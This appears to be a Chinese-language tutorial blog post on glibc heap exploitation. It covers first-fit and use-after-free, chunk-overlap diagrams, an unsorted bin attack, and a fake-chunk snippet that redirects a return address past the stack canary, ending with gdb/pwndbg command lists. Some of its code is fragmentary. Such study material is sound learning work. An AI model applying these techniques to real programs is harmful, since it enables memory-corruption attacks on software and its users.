这里没有任何攻击,说的是 glibc 分配内存的方式是最先适应算法,空闲块按地址递增的顺序排列,只要求分配空间大小小于该空闲空间大小,就可以分配。实例中给了分配两个 chunk,大小分别为 512 和 256,大于 fastbin,然后写入数据并释放第一个 512chunk,释放的 chunk 在 unsorted bin 之中,之后再分配 500 字节。此时由于 glibc 机制,直接在 unsorted bin 中找到并将其分割,一部分给用户,另一部分保留,所以第三个 chunk 指针与之前第一个 chunk 的相同。 我们首先编译gcc first_fit.c -o first -g 然后gdb first进行调试 首先,输入 start 然后查看堆内存 可以看到还是没有的 然后 n 单步运行过 13 行,再次运行 heap,可以看到 即第一个 a 的地址就是 0x8005250,然后我们继续分配 b 可以发现 b 的地址是 0x8005770 而输出的数据是: 这是因为我们知道 chunk 指针返回的是 mem 数据部分,chunk 在使用时的数据结构如下图:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
An allocated chunk looks like this: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |A|M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_size() bytes) . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | (size of chunk, but used for application data) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of next chunk, in bytes |A|0|1| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
其中 chunk 定义的结构体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
structmalloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
structmalloc_chunk* fd;/* double links -- used only if free. */ structmalloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */ structmalloc_chunk* fd_nextsize;/* double links -- used only if free. */ structmalloc_chunk* bk_nextsize; };
这时候我们往 a 的内存里面写入了”this is A!”的数据 查看指针处数据 写入的数据就是上述字符串的 ASCII 码 当我们执行 free(a)释放 a 的内存块后,可以发现 a 先被放入了 unsortedbin 中,且 fd 指针和 bk 指针都指向了 main_arena 执行 c = malloc(0x500),发现 c 分配到的内存块就是原来 a 分配到的内存块 在 glibc-2.28 中,内存块全部分配,不在中 unsorted bin 保留 然后在写入”This is C!”后查看内存情况 可以发现和从之前的 0x41 变成了 0x43,说明从 A 变成了 C,然后继续执行 这说明这里其实存在一个漏洞:free 掉之后没有把指针置 0,造成一个 UAF(use after free)漏洞。就是 a 已经 free 掉之后又重新把那块地址分配回来再编辑会把 a 所指向的地址的内容也编辑了(也就是这个时候 a 跟 c 指向的是同一内存地址)。 修补:free 掉 a 之后,让 a 再指向 null。
chunk p1 from 0x8007010 to 0x80073f840 chunk p2 from 0x8007400 to 0x80077e841 chunk p3 from 0x80077f0 to 0x8007bd842 chunk p4 from 0x8007be0 to 0x8007fc843 chunk p5 from 0x8007fd0 to 0x80083b8
if (nextchunk != av->top) { /* Place the chunk in unsorted chunk list. Chunks are not placed into regular bins until after they have been given one chance to be used in malloc. */ [...] }
/* If the chunk borders the current high end of memory, consolidate into top */
扩展被释放块:当溢出块的下一块为被释放块且处于 unsorted bin 中,则通过溢出一个字节来将其大小扩大,下次取得次块时就意味着其后的块将被覆盖而造成进一步的溢出。
1 2 3 4 5 6 7 8 9 10 11
0x1000x1000x80 |-------|-------|-------| | A | B | C | 初始状态 |-------|-------|-------| | A | B | C | 释放 B |-------|-------|-------| | A | B | C | 溢出 B 的 size 为 0x180 |-------|-------|-------| | A | B | C | malloc(0x180-8) |-------|-------|-------| C 块被覆盖 |<--实际得到的块->|
0x1000x1000x80 |-------|-------|-------| | A | B | C | 初始状态 |-------|-------|-------| | A | B | C | 溢出 B 的 size 为 0x180 |-------|-------|-------| | A | B | C | 释放 B |-------|-------|-------| | A | B | C | malloc(0x180-8) |-------|-------|-------| C 块被覆盖 |<--实际得到的块->|
0x1000x2100x80 |-------|---------------|-------| | A | B | C | 初始状态 |-------|---------------|-------| | A | B | C | 释放 B |-------|---------------|-------| | A | B | C | 溢出 B 的 size 为 0x200 |-------|---------------|-------| 之后的 malloc 操作没有更新 C 的 prev_size 0x1000x80 |-------|------|-----|--|-------| | A | B1 | B2 | | C | malloc(0x180-8), malloc(0x80-8) |-------|------|-----|--|-------| | A | B1 | B2 | | C | 释放 B1 |-------|------|-----|--|-------| | A | B1 | B2 | | C | 释放 C,C 将与 B1 合并 |-------|------|-----|--|-------| | A | B1 | B2 | | C | malloc(0x180-8) |-------|------|-----|--|-------| B2 将被覆盖 |<实际得到的块>|
unsorted_bin_attack-2.23
这个例程通过 unsortedbin 攻击往栈中写入一个 unsigned long 的值。 在实战中,unsorted bin 攻击通常是为更进一步的攻击做准备的。 比如,我们在栈上有一个栈单元 stack_var 需要被改写 然后正常地分配一个 chunk。 再分配一个,防止前一个 chunk 在 free 的时候被合并了。 然后 free(p);之后 p 会被插入到 unsortedbin 链表中,它的 fd 和 bk 都指向 unsortedbin 的 head。 接着我们模拟一个漏洞攻击改写 p 的 bk 指针: 然后 malloc 然后stack_var的值就被改写成了 unsortedbin 的 head 的地址了。 之前的 unsafe_unlink 是通过 unlink 来直接控制地址,这里则是通过 unlink 来泄漏 libc 的信息,来进行进一步的攻击。 可以参考这一篇:Pwn 的挖坑填坑之旅
printf("Allocating the victim chunk\n"); intptr_t* victim = malloc(0x100);
printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n"); intptr_t* p1 = malloc(0x100);
printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); free(victim);
printf("Create a fake chunk on the stack"); printf("Set size for next allocation and the bk pointer to any writable address"); stack_buffer[1] = 0x100 + 0x10; stack_buffer[3] = (intptr_t)stack_buffer;
//------------VULNERABILITY----------- printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n"); printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*S IZE_SZ (> 16 on x64) && < av->system_mem\n"); victim[-1] = 32; victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack //------------------------------------
printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]); char *p2 = malloc(0x100); printf("malloc(0x100): %p\n", p2);
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode memcpy((p2+40), ≻, 8); // This bypasses stack-smash detection since it jumps over the canary
libc : Print the base address of libc ld : Print the base address of ld codebase : Print the base of code segment heap : Print the base of heap got : Print the Global Offset Table infomation dyn : Print the Dynamic section infomation findcall : Find some function call bcall : Set the breakpoint at some function call tls : Print the thread local storage address at : Attach by process name findsyscall : Find the syscall force : Calculate the nb in the house of force. heapinfo :打印 heap 的一些信息 heapinfoall : Print some infomation of heap (all threads) arenainfo : Print some infomation of all arena chunkptr : 打印 chunk 的信息 后面加 chunk 返回给用户的地址 printfastbin : 打印 fastbin 的链表信息 tracemalloc on : 追踪程序 chunk 的 malloc 和 free parseheap :解析堆的布局 magic : 打印出 glibc 中一些有用的信息 fp : show FILE structure fp (Address of FILE)
c - 继续运行 r - 开始运行 ni - 单步步过 si - 单步步入 fini - 运行至函数刚结束处 return expression - 将函数返回值指定为expression bt - 查看当前栈帧 info f - 查看当前栈帧 context - 查看运行上下文 stack - 查看当前堆栈 call func - 强制函数调用 stack100 - 插件提供的,显示栈中100项 find xxx - 快速查找,很实用
x/<n/f/u> <addr> n、f、u是可选的参数。 x /4xg $ebp:查看ebp开始的4个8字节内容 x/wx $esp 以4字节16进制显示栈中内容 b表示单字节,h表示双字节,w表示四字 节,g表示八字节 s 按字符串输出 x 按十六进制格式显示变量。 d 按十进制格式显示变量。 u 按十六进制格式显示无符号整型。 o 按八进制格式显示变量。 t 按二进制格式显示变量。 a 按十六进制格式显示变量。 c 按字符格式显示变量。 f 按浮点数格式显示变量。 i:反汇编